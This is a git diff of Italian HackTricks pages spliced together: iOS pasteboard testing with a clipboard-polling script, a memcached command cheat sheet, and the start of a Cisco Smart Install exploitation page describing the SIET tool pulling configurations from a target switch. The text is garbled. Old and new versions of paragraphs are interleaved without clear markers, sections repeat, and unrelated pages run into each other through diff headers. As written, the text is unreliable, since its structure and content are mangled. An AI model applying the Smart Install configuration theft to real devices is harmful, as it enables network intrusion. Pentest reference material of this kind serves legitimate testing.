È fondamentale assicurarsi che le **informazioni sensibili non vengano memorizzate accidentalmente** sul pasteboard globale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati del pasteboard globale per azioni non intenzionali e gli sviluppatori sono incoraggiati ad implementare misure per impedire la copia di informazioni sensibili negli appunti.
|
||||
Lo scambio di dati all'interno e tra le applicazioni sui dispositivi iOS è facilitato dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è diviso in due categorie principali:
|
||||
|
||||
### Analisi statica
|
||||
- **Pasteboard generale a livello di sistema**: Questo è utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per persistere i dati attraverso riavvii del dispositivo e disinstallazioni dell'app, una funzionalità disponibile da iOS 10.
|
||||
- **Pasteboard personalizzati / con nome**: Questi sono specifici per la condivisione di dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID di team e non sono progettati per persistere oltre la durata del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10.
|
||||
|
||||
Per l'analisi statica, cerca nel codice sorgente o nel binario:
|
||||
- `generalPasteboard` per identificare l'uso del **pasteboard generale di sistema**.
|
||||
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per la creazione di **pasteboard personalizzati**. Verifica se è abilitata la persistenza, anche se questa funzionalità è deprecata.
|
||||
Le **considerazioni sulla sicurezza** giocano un ruolo significativo nell'utilizzo dei pasteboard. Ad esempio:
|
||||
- Non esiste un meccanismo per gli utenti di gestire le autorizzazioni dell'app per accedere al **pasteboard**.
|
||||
- Per mitigare il rischio di monitoraggio non autorizzato in background del pasteboard, l'accesso è limitato quando l'applicazione è in primo piano (da iOS 9).
|
||||
- L'uso dei pasteboard con nome persistenti è sconsigliato a favore dei contenitori condivisi a causa di preoccupazioni sulla privacy.
|
||||
- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite il pasteboard generale, può essere gestita dai sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
|
||||
|
||||
### Analisi dinamica
|
||||
Assicurarsi che le **informazioni sensibili non vengano memorizzate per errore** sul pasteboard globale è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'abuso dei dati del pasteboard globale per azioni non intenzionali e si incoraggia gli sviluppatori ad implementare misure per impedire la copia di informazioni sensibili negli appunti.
|
||||
|
||||
L'analisi dinamica prevede l'hooking o il tracciamento di metodi specifici:
|
||||
- Monitora `generalPasteboard` per l'uso a livello di sistema.
|
||||
- Traccia `pasteboardWithName:create:` e `pasteboardWithUniqueName` per le implementazioni personalizzate.
|
||||
- Osserva le chiamate al metodo deprecato `setPersistent:` per verificare le impostazioni di persistenza.
|
||||
### Analisi Statica
|
||||
|
||||
I dettagli chiave da monitorare includono:
|
||||
- **Nomi** e **contenuti** del pasteboard (ad esempio, verifica di stringhe, URL, immagini).
|
||||
- **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli standard e personalizzati dei tipi di dati.
|
||||
- **Opzioni di scadenza e solo locali** ispezionando il metodo `setItems:options:`.
|
||||
Per l'analisi statica, cercare nel codice sorgente o binario:
|
||||
- `generalPasteboard` per identificare l'uso del **pasteboard generale a livello di sistema**.
|
||||
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per la creazione di **pasteboard personalizzati**. Verificare se è abilitata la persistenza, anche se è deprecata.
|
||||
|
||||
Un esempio di utilizzo di uno strumento di monitoraggio è **objection's pasteboard monitor**, che controlla il generalPasteboard ogni 5 secondi per le modifiche e restituisce i nuovi dati.
|
||||
### Analisi Dinamica
|
||||
|
||||
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dal pasteboard ogni 5 secondi:
|
||||
L'analisi dinamica coinvolge l'hooking o il tracciamento di metodi specifici:
|
||||
- Monitorare `generalPasteboard` per l'uso a livello di sistema.
|
||||
- Tracciare `pasteboardWithName:create:` e `pasteboardWithUniqueName` per implementazioni personalizzate.
|
||||
- Osservare le chiamate di metodo deprecate `setPersistent:` per controllare le impostazioni di persistenza.
|
||||
|
||||
Dettagli chiave da monitorare includono:
|
||||
- **Nomi del pasteboard** e **contenuti** (ad esempio, controllare stringhe, URL, immagini).
|
||||
- **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli standard e personalizzati sui tipi di dati.
|
||||
- **Opzioni di scadenza e solo locale** ispezionando il metodo `setItems:options:`.
|
||||
|
||||
Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor del pasteboard di objection**, che interroga il generalPasteboard ogni 5 secondi per i cambiamenti e restituisce i nuovi dati.
|
||||
|
||||
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare i cambiamenti dal pasteboard ogni 5 secondi:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -75,16 +80,21 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,58 +2,63 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Comandi Cheat-Sheet
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Cheat-Sheet dei Comandi
|
||||
|
||||
**Da** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
I comandi supportati (quelli ufficiali e alcuni non ufficiali) sono documentati nel documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
|
||||
|
||||
Purtroppo la descrizione della sintassi non è molto chiara e sarebbe molto meglio avere un semplice comando di aiuto che elenca i comandi esistenti. Ecco una panoramica dei comandi che puoi trovare nella [fonte](https://github.com/memcached/memcached) (aggiornato al 19.08.2016):
|
||||
Purtroppo la descrizione della sintassi non è molto chiara e un semplice comando di aiuto che elenchi i comandi esistenti sarebbe molto migliore. Ecco una panoramica dei comandi che puoi trovare nella [fonte](https://github.com/memcached/memcached) (aggiornato al 19.08.2016):
|
||||
|
||||
| Comando | Descrizione | Esempio |
|
||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | Legge un valore | `get mykey` |
|
||||
| set | Imposta una chiave incondizionatamente | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Assicurati di utilizzare \r\n come interruzioni di linea quando si utilizzano strumenti CLI Unix. Ad esempio</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | Aggiunge una nuova chiave | `add newkey 0 60 5` |
|
||||
| replace | Sovrascrive una chiave esistente | `replace key 0 60 5` |
|
||||
| append | Aggiunge dati a una chiave esistente | `append key 0 60 15` |
|
||||
| prepend | Aggiunge dati all'inizio di una chiave esistente | `prepend key 0 60 15` |
|
||||
| get | Legge un valore | `get mykey` |
|
||||
| set | Imposta una chiave incondizionatamente | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Assicurati di usare \r\n come interruzioni di riga quando usi strumenti CLI Unix. Ad esempio</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | Aggiunge una nuova chiave | `add newkey 0 60 5` |
|
||||
| replace | Sovrascrive la chiave esistente | `replace key 0 60 5` |
|
||||
| append | Aggiunge dati alla chiave esistente | `append key 0 60 15` |
|
||||
| prepend | Aggiunge dati all'inizio della chiave esistente | `prepend key 0 60 15` |
|
||||
| incr | Incrementa il valore numerico della chiave di un numero dato | `incr mykey 2` |
|
||||
| decr | Decrementa il valore numerico della chiave di un numero dato | `decr mykey 5` |
|
||||
| delete | Elimina una chiave esistente | `delete mykey` |
|
||||
| flush\_all | Invalida immediatamente tutti gli elementi | `flush_all` |
|
||||
| flush\_all | Invalida tutti gli elementi in n secondi | `flush_all 900` |
|
||||
| stats | Stampa le statistiche generali | `stats` |
|
||||
| delete | Elimina una chiave esistente | `delete mykey` |
|
||||
| flush\_all | Invalida immediatamente tutti gli elementi | `flush_all` |
|
||||
| flush\_all | Invalida tutti gli elementi in n secondi | `flush_all 900` |
|
||||
| stats | Stampa le statistiche generali | `stats` |
|
||||
| | Stampa le statistiche di memoria | `stats slabs` |
|
||||
| | Stampa le statistiche di allocazione a livello superiore | `stats malloc` |
|
||||
| | Stampa le informazioni sugli elementi | `stats items` |
|
||||
| | Stampa le statistiche di allocazione a livello superiore | `stats malloc` |
|
||||
| | Stampa informazioni sugli elementi | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | Reimposta i contatori delle statistiche | `stats reset` |
|
||||
| lru\_crawler metadump | Esegue il dump (quasi tutto) dei metadati per (tutti) gli elementi nella cache | `lru_crawler metadump all` |
|
||||
| version | Stampa la versione del server | `version` |
|
||||
| | Reimposta i contatori delle statistiche | `stats reset` |
|
||||
| lru\_crawler metadump | Esegue il dump (per la maggior parte) dei metadati per (tutti) gli elementi nella cache | `lru_crawler metadump all` |
|
||||
| version | Stampa la versione del server | `version` |
|
||||
| verbosity | Aumenta il livello di log | `verbosity` |
|
||||
| quit | Termina la sessione | `quit` |
|
||||
|
||||
#### Statistiche sul Traffico <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
È possibile interrogare le statistiche di traffico attuali utilizzando il comando
|
||||
Puoi interrogare le statistiche attuali sul traffico utilizzando il comando
|
||||
```
|
||||
stats
|
||||
```
|
||||
Otterrai un elenco che mostra il numero di connessioni, byte in/out e molto altro.
|
||||
Riceverai un elenco che fornisce il numero di connessioni, byte in uscita e molto altro.
|
||||
|
||||
Esempio di output:
|
||||
```
|
||||
|
@ -81,149 +86,13 @@ STAT limit_maxbytes 52428800
|
|||
STAT threads 1
|
||||
END
|
||||
```
|
||||
#### Statistiche di memoria <a href="#statistiche-di-memoria" id="statistiche-di-memoria"></a>
|
||||
#### Statistiche della memoria <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
Puoi interrogare le statistiche attuali di memoria utilizzando
|
||||
Puoi interrogare le statistiche attuali della memoria utilizzando
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
# Comandi Memcache
|
||||
|
||||
Memcache è un sistema di caching distribuito che memorizza i dati in memoria per migliorare le prestazioni delle applicazioni web. Di seguito sono elencati alcuni comandi comuni utilizzati per interagire con un server Memcache.
|
||||
|
||||
## Comandi di base
|
||||
|
||||
### SET
|
||||
|
||||
```
|
||||
SET <key> <flags> <exptime> <bytes> [noreply]\r\n
|
||||
<data block>\r\n
|
||||
```
|
||||
|
||||
Imposta il valore di una chiave specificata. I parametri sono i seguenti:
|
||||
|
||||
- `<key>`: la chiave associata al valore
|
||||
- `<flags>`: un valore opzionale che può essere utilizzato per l'identificazione del valore
|
||||
- `<exptime>`: il tempo di scadenza del valore in secondi
|
||||
- `<bytes>`: la dimensione del valore in byte
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
### GET
|
||||
|
||||
```
|
||||
GET <key>\r\n
|
||||
```
|
||||
|
||||
Recupera il valore associato a una chiave specificata. Il parametro è il seguente:
|
||||
|
||||
- `<key>`: la chiave associata al valore da recuperare
|
||||
|
||||
### DELETE
|
||||
|
||||
```
|
||||
DELETE <key> [noreply]\r\n
|
||||
```
|
||||
|
||||
Elimina il valore associato a una chiave specificata. I parametri sono i seguenti:
|
||||
|
||||
- `<key>`: la chiave associata al valore da eliminare
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
## Comandi avanzati
|
||||
|
||||
### INCR
|
||||
|
||||
```
|
||||
INCR <key> <value> [noreply]\r\n
|
||||
```
|
||||
|
||||
Incrementa il valore associato a una chiave specificata. Il parametro è il seguente:
|
||||
|
||||
- `<key>`: la chiave associata al valore da incrementare
|
||||
- `<value>`: il valore da incrementare
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
### DECR
|
||||
|
||||
```
|
||||
DECR <key> <value> [noreply]\r\n
|
||||
```
|
||||
|
||||
Decrementa il valore associato a una chiave specificata. Il parametro è il seguente:
|
||||
|
||||
- `<key>`: la chiave associata al valore da decrementare
|
||||
- `<value>`: il valore da decrementare
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
### APPEND
|
||||
|
||||
```
|
||||
APPEND <key> <bytes> [noreply]\r\n
|
||||
<data block>\r\n
|
||||
```
|
||||
|
||||
Aggiunge dati al valore associato a una chiave specificata. I parametri sono i seguenti:
|
||||
|
||||
- `<key>`: la chiave associata al valore a cui aggiungere dati
|
||||
- `<bytes>`: la dimensione dei dati da aggiungere in byte
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
### PREPEND
|
||||
|
||||
```
|
||||
PREPEND <key> <bytes> [noreply]\r\n
|
||||
<data block>\r\n
|
||||
```
|
||||
|
||||
Aggiunge dati all'inizio del valore associato a una chiave specificata. I parametri sono i seguenti:
|
||||
|
||||
- `<key>`: la chiave associata al valore a cui aggiungere dati
|
||||
- `<bytes>`: la dimensione dei dati da aggiungere in byte
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
### CAS
|
||||
|
||||
```
|
||||
CAS <key> <flags> <exptime> <bytes> <cas unique> [noreply]\r\n
|
||||
<data block>\r\n
|
||||
```
|
||||
|
||||
Imposta il valore di una chiave specificata solo se il valore attuale corrisponde al valore specificato. I parametri sono i seguenti:
|
||||
|
||||
- `<key>`: la chiave associata al valore
|
||||
- `<flags>`: un valore opzionale che può essere utilizzato per l'identificazione del valore
|
||||
- `<exptime>`: il tempo di scadenza del valore in secondi
|
||||
- `<bytes>`: la dimensione del valore in byte
|
||||
- `<cas unique>`: un valore univoco che identifica il valore corrente
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
|
||||
## Comandi di controllo
|
||||
|
||||
### STATS
|
||||
|
||||
```
|
||||
STATS\r\n
|
||||
```
|
||||
|
||||
Recupera le statistiche del server Memcache.
|
||||
|
||||
### VERSION
|
||||
|
||||
```
|
||||
VERSION\r\n
|
||||
```
|
||||
|
||||
Recupera la versione del server Memcache.
|
||||
|
||||
### FLUSH_ALL
|
||||
|
||||
```
|
||||
FLUSH_ALL [noreply]\r\n
|
||||
```
|
||||
|
||||
Elimina tutti i valori memorizzati nel server Memcache. Il parametro è il seguente:
|
||||
|
||||
- `[noreply]`: un parametro opzionale che indica al server di non inviare una risposta
|
||||
Esempio di output:
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
|
@ -246,21 +115,13 @@ END
|
|||
```
|
||||
Se non sei sicuro di avere abbastanza memoria per la tua istanza di memcached, controlla sempre i contatori "evictions" forniti dal comando "stats". Se hai abbastanza memoria per l'istanza, il contatore "evictions" dovrebbe essere 0 o almeno non aumentare.
|
||||
|
||||
#### Quali chiavi vengono utilizzate? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
#### Quali Chiavi Vengono Utilizzate? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
Non esiste una funzione integrata per determinare direttamente l'attuale insieme di chiavi. Tuttavia, puoi utilizzare il comando
|
||||
Non esiste una funzione integrata per determinare direttamente l'attuale insieme di chiavi. Tuttavia, puoi utilizzare
|
||||
```
|
||||
stats items
|
||||
```
|
||||
# Comando per determinare quanti chiavi esistono.
|
||||
|
||||
Per determinare quanti chiavi esistono in un server Memcache, è possibile utilizzare il comando `stats items`. Questo comando restituirà un elenco di statistiche relative agli oggetti memorizzati nella cache, inclusi il numero totale di chiavi presenti.
|
||||
|
||||
```bash
|
||||
$ echo "stats items" | nc <indirizzo_IP> 11211
|
||||
```
|
||||
|
||||
Sostituisci `<indirizzo_IP>` con l'indirizzo IP del server Memcache che desideri interrogare.
|
||||
Comando per determinare quanti chiavi esistono.
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -270,18 +131,23 @@ STAT items:2:age 1405
|
|||
[...]
|
||||
END
|
||||
```
|
||||
Questo aiuta almeno a vedere se vengono utilizzate delle chiavi. Per scaricare i nomi delle chiavi da uno script PHP che accede già a memcache, è possibile utilizzare il codice PHP da [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
Questo almeno aiuta a vedere se vengono utilizzate delle chiavi. Per scaricare i nomi delle chiavi da uno script PHP che già accede a memcache, è possibile utilizzare il codice PHP da [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
**Cisco Smart Install** è un servizio Cisco progettato per automatizzare la configurazione iniziale e il caricamento di un'immagine del sistema operativo per l'hardware Cisco nuovo. **Per impostazione predefinita, Cisco Smart Install è attivo sull'hardware Cisco e utilizza il protocollo di livello di trasporto, TCP, con il numero di porta 4786.**
|
||||
|
||||
|
@ -21,38 +26,43 @@
|
|||
PORT STATE SERVICE
|
||||
4786/tcp open smart-install
|
||||
```
|
||||
## **Strumento di sfruttamento di Smart Install**
|
||||
## **Strumento di Sfruttamento di Smart Install**
|
||||
|
||||
**Nel 2018 è stata scoperta una vulnerabilità critica, CVE-2018–0171, in questo protocollo. Il livello di minaccia è 9.8 sulla scala CVSS.**
|
||||
**Nel 2018 è stata scoperta una vulnerabilità critica, CVE-2018-0171, in questo protocollo. Il livello di minaccia è 9.8 sulla scala CVSS.**
|
||||
|
||||
**Un pacchetto appositamente creato inviato alla porta TCP/4786, dove è attivo Cisco Smart Install, provoca un buffer overflow, consentendo a un attaccante di:**
|
||||
**Un pacchetto appositamente creato inviato alla porta TCP/4786, dove è attivo Cisco Smart Install, attiva un buffer overflow, consentendo a un attaccante di:**
|
||||
|
||||
* riavviare forzatamente il dispositivo
|
||||
* chiamare RCE
|
||||
* rubare configurazioni di apparecchiature di rete.
|
||||
|
||||
**Lo** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** è stato sviluppato per sfruttare questa vulnerabilità, permettendo di abusare di Cisco Smart Install. In questo articolo ti mostrerò come puoi leggere un file di configurazione legittimo dell'hardware di rete. La configurazione dell'esfiltrazione può essere preziosa per un pentester perché permette di conoscere le caratteristiche uniche della rete. E questo renderà la vita più facile e permetterà di trovare nuovi vettori per un attacco.
|
||||
**Il** [**SIET**](https://github.com/frostbits-security/SIET) **(Strumento di Sfruttamento di Smart Install)** è stato sviluppato per sfruttare questa vulnerabilità, ti consente di abusare di Cisco Smart Install. In questo articolo ti mostrerò come puoi leggere un file di configurazione legittimo dell'hardware di rete. La configurazione dell'esfiltrazione può essere preziosa per un pentester perché permetterà di apprendere le caratteristiche uniche della rete. E questo renderà la vita più facile e permetterà di trovare nuovi vettori per un attacco.
|
||||
|
||||
**Il dispositivo di destinazione sarà uno switch Cisco Catalyst 2960 "live". Le immagini virtuali non hanno Cisco Smart Install, quindi puoi esercitarti solo sull'hardware reale.**
|
||||
**Il dispositivo di destinazione sarà uno switch Cisco Catalyst 2960 "live". Le immagini virtuali non hanno Cisco Smart Install, quindi puoi solo esercitarti sull'hardware reale.**
|
||||
|
||||
L'indirizzo dello switch di destinazione è **10.10.100.10 e CSI è attivo.** Carica SIET e avvia l'attacco. **L'argomento -g** significa esfiltrazione della configurazione dal dispositivo, **l'argomento -i** ti permette di impostare l'indirizzo IP del target vulnerabile.
|
||||
